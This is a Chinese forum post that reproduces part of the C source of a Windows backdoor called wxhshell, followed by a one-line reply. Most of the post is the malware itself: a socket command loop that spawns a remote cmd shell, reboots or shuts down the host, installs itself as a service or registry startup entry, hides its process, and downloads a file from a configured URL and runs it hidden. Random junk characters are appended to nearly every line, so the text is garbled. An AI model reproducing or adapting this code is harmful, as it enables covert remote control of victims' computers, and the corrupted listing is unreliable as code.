  if(DownloadFile(cmd,wsh)) lfhB2^ ^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZE :oK   
  else Deam%)bXM]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b~|B(lL6Xm  
  } ELm#  
  else { h'bxgIl'`  
\+,jM6l}-  
    switch(cmd[0]) { BKIt,7j  
  n4:WM+f4  
  // 帮助  2}`OjVS  
  case '?': { 3 3V/<v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .{Xi&[jw  
    break; k~?@~xm,R  
  } @a~K#Bvlm  
  // 安装 Q|0[B4e^:  
  case 'i': { m\t %wr  
    if(Install())  E$G8-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &1I0i[R  
    else ,+JAwII>O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;c'jBi5W  
    break; F8pLA@7[  
    } g><sZqj8tt  
  // 卸载 W6)A":`  
  case 'r': { "];19]x6q  
    if(Uninstall()) ie_wJ=s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |HL1.;1  
    else IE|$>q0Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !rXyw`6N  
    break; v(af aN  
    } Fv3fad@x  
  // 显示 wxhshell 所在路径 #R)$nv:h?^  
  case 'p': { {C<ch@sR  
    char svExeFile[MAX_PATH]; Q{>{ e3z}  
    strcpy(svExeFile,"\n\r"); A5z`3T;1  
      strcat(svExeFile,ExeFile); Tx!mW-Lt  
        send(wsh,svExeFile,strlen(svExeFile),0); K <0ItN v  
    break; p1Els /|  
    } WUHijHo5(8  
  // 重启 UE(%R1Py  
  case 'b': { 9@!`,Co  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b[/-lNrc  
    if(Boot(REBOOT)) Ly^r8I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0iwx$u 7[  
    else { iR_X,&p   
    closesocket(wsh); 3c6#?<%0`  
    ExitThread(0); \}cEHLq  
    } |=SaI%%Be  
    break; ua2SW(C@  
    } n\d-^ml  
  // 关机 S3 &L  
  case 'd': { f#[Fqkmj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kQYX[e7n  
    if(Boot(SHUTDOWN)) d/"e3S1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7VR+EV  
    else { .~Td /o7  
    closesocket(wsh); A$ s4Q0Mf  
    ExitThread(0); .i&]VGv  
    } "6.kZ$`%  
    break; dfk=%lZYd9  
    } :sJVklK  
  // 获取shell kMUjSa~\  
  case 's': { 65g\WB+/  
    CmdShell(wsh); Zj$U _  
    closesocket(wsh); S25&UwUw  
    ExitThread(0); c$>Tfa'H  
    break; Z5+qb  
  } './s'!Lj  
  // 退出 (A?/D!y  
  case 'x': { wVp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v\&Wb_;A  
    CloseIt(wsh); }" A.[9 b  
    break; |E|d"_Ma  
    } $yG=exh3v  
  // 离开 XO219   
  case 'q': { ]M#_o]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U@DIO/C,m`  
    closesocket(wsh); &_G^=Nc,H  
    WSACleanup(); :H3qa2p  
    exit(1); I)T]}et  
    break; y1z4qSeM  
        } R0 AVAUG  
  } p"3_u;cN  
  } ?bW|~<X~  
3 l QGU  
  // 提示信息 6f(K'v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9*U3uyPi  
} {p-&8-  
  } !3E33  
0escp~\Z  
  return; !-)Hog5\  
} 9+_SG/@  
-ich N/U]s  
// shell模块句柄 gWL'Fl}H  
int CmdShell(SOCKET sock) $0=f9+@5  
{ Z2!O)8  
STARTUPINFO si; rK7m(  
ZeroMemory(&si,sizeof(si)); 4:WN-[xX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3%p^>D\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4At{(fw W  
PROCESS_INFORMATION ProcessInfo; |Q[[WHqj2f  
char cmdline[]="cmd"; XcD$xFDZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #|ETH;HM  
  return 0; +a0q?$\  
} 7&-B6Y4  
G&y< lh  
// 自身启动模式 ;%{REa  
int StartFromService(void) PS7ta?V QC  
{ XmJu{RbS  
typedef struct <xv@us7  
{ 3+ JkV\AF  
  DWORD ExitStatus; HN?NY  
  DWORD PebBaseAddress; ^`?2g[AA  
  DWORD AffinityMask; g 67;O(3  
  DWORD BasePriority; ~|QhWgq  
  ULONG UniqueProcessId; Wo+fMn(O  
  ULONG InheritedFromUniqueProcessId; sba+J:#w  
}   PROCESS_BASIC_INFORMATION; /?C}PM  
)\ow/XPE  
PROCNTQSIP NtQueryInformationProcess; |L%}@e Vw_  
`v) :|Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G |033(j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y)lYEhF  
DPqk~KCM  
  HANDLE             hProcess; RzgA;ZC'  
  PROCESS_BASIC_INFORMATION pbi; 2SVBuV/R  
41dB4Td5t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^/b3_aM5d  
  if(NULL == hInst ) return 0; '~{bq'7`m  
M^S <G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :rR)rj'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v!~tX*q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AYb-BaIc  
I5Vp%mCY  
  if (!NtQueryInformationProcess) return 0; T8'm{[C  
WOkAma-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pk)>@F<  
  if(!hProcess) return 0; QPr29  
v{tw;Z#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~*NG~Kn"s  
#s% _ L  
  CloseHandle(hProcess); apy9B6%PJ+  
j AXKp b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J;8M. _  
if(hProcess==NULL) return 0; [C@ |q Ah  
!W2dMD/  
HMODULE hMod; A~0eJaq+  
char procName[255]; lFJDdf2:$C  
unsigned long cbNeeded; 'ip2|UG  
(+aU,EQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P]cC2L@Vbi  
bSJ@ 5qS  
  CloseHandle(hProcess); ,#?iu?i/  
[0>I6Jl  
if(strstr(procName,"services")) return 1; // 以服务启动 Tew?e&eO  
r8%"#<]/  
  return 0; // 注册表启动 WtS5i7:<Y  
} p#;I4d G  
:}0>IPW-V  
// 主模块 3mP251"dIW  
int StartWxhshell(LPSTR lpCmdLine) [a201I0 -  
{ o|`%>&jP  
  SOCKET wsl; sH_B*cr3  
BOOL val=TRUE; ?2q4dx 0  
  int port=0; >8;EeRvI  
  struct sockaddr_in door; >>nOS]UL  
Nl$b;~ u  
  if(wscfg.ws_autoins) Install(); r{mj[N'@  
kD*r@s]=  
port=atoi(lpCmdLine); .30eO_msK  
1buVV]*~  
if(port<=0) port=wscfg.ws_port; tXXnHEz  
]Y;5U  
  WSADATA data; *TyLB&<t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! mb<z^>5  
^ jYE4gHM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q  h~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K&'Vd@  
  door.sin_family = AF_INET; (pv6V2i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }z,f8Yz  
  door.sin_port = htons(port); ,azBk`$iQr  
v{r,Wy3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nI_UL  
closesocket(wsl); 0+{CN|0  
return 1; 8.WZC1N  
} !FA[ ]d4  
-4Hf5!  
  if(listen(wsl,2) == INVALID_SOCKET) { ZVIlVuZ}  
closesocket(wsl); y?P4EVknM3  
return 1; >S}^0vNZX  
} +d!"Zy2|B  
  Wxhshell(wsl); `=%mU/v  
  WSACleanup(); i K,^|Q8  
]iezwz`'  
return 0; \p.eY)>  
{ovW6#  
} i+@t_pxc  
D;! aix3  
// 以NT服务方式启动 O&g$dK!Rad  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2%_UOEayU  
{ ,z5B"o{Et  
DWORD   status = 0; L S%;ZKJ  
  DWORD   specificError = 0xfffffff; $97EeE:{M  
q=x1:^rVH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^~` t q+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CNM pyr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =wquFA!c  
  serviceStatus.dwWin32ExitCode     = 0; S;tv4JY  
  serviceStatus.dwServiceSpecificExitCode = 0; lvp8{]I<  
  serviceStatus.dwCheckPoint       = 0; >Q#\X=a>  
  serviceStatus.dwWaitHint       = 0; zvOSQxGQ  
+ 'V ,z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <wTD}.n  
  if (hServiceStatusHandle==0) return; 0#: St  
|%$mN{  
status = GetLastError(); :{=2ih-}  
  if (status!=NO_ERROR) HDQH7Bs  
{ 8i~n;AhDs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vYNu=vnM  
    serviceStatus.dwCheckPoint       = 0; ana?;NvC  
    serviceStatus.dwWaitHint       = 0; .azA1@V|  
    serviceStatus.dwWin32ExitCode     = status; M _e^KF  
    serviceStatus.dwServiceSpecificExitCode = specificError; D` abVf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,V`[;~49  
    return; G[lNgVbU@  
  } C ^ 1;r9  
<IwfiI3y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w,VUWja  
  serviceStatus.dwCheckPoint       = 0; 1kczlTF  
  serviceStatus.dwWaitHint       = 0; d>hLnz1O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); krecUpo  
} i p; RlO  
-F&*>?I  
// 处理NT服务事件,比如:启动、停止 f9a_:]F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ><w=  
{ cz;gz4d8  
switch(fdwControl) I?X!v6  
{  aX}:O  
case SERVICE_CONTROL_STOP: T{4Ru6[  
  serviceStatus.dwWin32ExitCode = 0; ay>u``$R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,}23  
  serviceStatus.dwCheckPoint   = 0; wPQRm[O|  
  serviceStatus.dwWaitHint     = 0; q3e^vMK"  
  { :\69N/uw`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rvETt  
  } JAU:Wqlg1  
  return; bR}=bp4K  
case SERVICE_CONTROL_PAUSE: HwxME%w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -+Gd<U$  
  break; /2Qgg`^)  
case SERVICE_CONTROL_CONTINUE: Zp_vv@s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EL:Az~]V  
  break; uoMDf{d  
case SERVICE_CONTROL_INTERROGATE: 9#)&  
  break; ~T:L0||.%9  
}; fBZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ";*Iwd*V  
} 't#E-+o  
k*k 9hv?  
// 标准应用程序主函数 |YWX.-aeo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [fIElH<  
{ ;To][J  
XHYVcwmDz-  
// 获取操作系统版本 +&qj`hA-b  
OsIsNt=GetOsVer(); Y~g*"J5j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P<MNwdf(+  
dZ{yNh.]  
  // 从命令行安装 ,+o*>fD  
  if(strpbrk(lpCmdLine,"iI")) Install(); TW!>~|U)y  
woyeKOr  
  // 下载执行文件 Hmv@7$9s\  
if(wscfg.ws_downexe) { ~]C m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qV7nF }V{  
  WinExec(wscfg.ws_filenam,SW_HIDE); X~> 2iL  
} I7} o>{  
%bZ}vJ5b  
if(!OsIsNt) { m)"wd$O^w  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pj7n_&*/  
HideProc(); RJ~I?{yR0[  
StartWxhshell(lpCmdLine); 99u9L)  
} ? yek\X  
else {3){f;b  
  if(StartFromService()) eG\`SKx_  
  // 以服务方式启动 9xM7X?  
  StartServiceCtrlDispatcher(DispatchTable); /8"9 sf *  
else NTy0NH  
  // 普通方式启动 |^T?5=&Kt  
  StartWxhshell(lpCmdLine); y)D7!s  
AA~6r[*~  
return 0; Fpckb18}(O  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五